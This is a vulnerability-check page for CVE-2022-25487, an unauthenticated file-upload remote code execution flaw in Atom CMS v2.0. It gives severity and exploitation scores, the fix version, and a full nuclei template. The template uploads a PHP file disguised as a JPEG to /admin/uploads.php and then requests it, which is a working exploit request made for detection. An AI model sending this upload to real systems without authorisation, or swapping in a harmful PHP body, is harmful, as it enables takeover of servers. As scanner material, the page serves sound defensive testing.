Atom CMS v2.0 - Remote Code Execution

criticalseverity

9.8CVSS score

53.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Atom CMS v2.0 was discovered to contain a remote code execution (RCE) vulnerability via /admin/uploads.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Fixed in version Atom CMS v2.1

How to confirm it

Send: POST /admin/uploads.php?id=1 ; GET /uploads/{{filename}}
Positive when: contains "{{md5(string)}}"

Run it with nuclei: nuclei -id CVE-2022-25487 -u <target>

The full check

id: CVE-2022-25487

info:
  name: Atom CMS v2.0 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    Atom CMS v2.0 was discovered to contain a remote code execution (RCE) vulnerability via /admin/uploads.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: Fixed in version Atom CMS v2.1
  reference:
    - https://packetstormsecurity.com/files/166532/Atom-CMS-1.0.2-Shell-Upload.html
    - https://github.com/thedigicraft/Atom.CMS/issues/256
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25487
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/shikari00007/Atom-CMS-2.0---File-Upload-Remote-Code-Execution-Un-Authenticated-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25487
    cwe-id: CWE-434
    epss-score: 0.53839
    epss-percentile: 0.99008
    cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: thedigitalcraft
    product: atomcms
  tags: cve2022,cve,rce,atom,cms,unauth,packetstorm,intrusive,thedigitalcraft,fileupload,vkev,vuln
variables:
  string: "CVE-2022-25487"

http:
  - raw:
      - |
        POST /admin/uploads.php?id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041

        -----------------------------30623082103363803402542706041
        Content-Disposition: form-data; name="file"


        -----------------------------30623082103363803402542706041
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
        Content-Type: image/jpeg


        <?php echo md5("{{string}}");unlink(__FILE__);?>
        -----------------------------30623082103363803402542706041--
      - |
        GET /uploads/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(string)}}'

    extractors:
      - type: regex
        name: filename
        group: 1
        regex:
          - SET avatar = '(.*?)'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from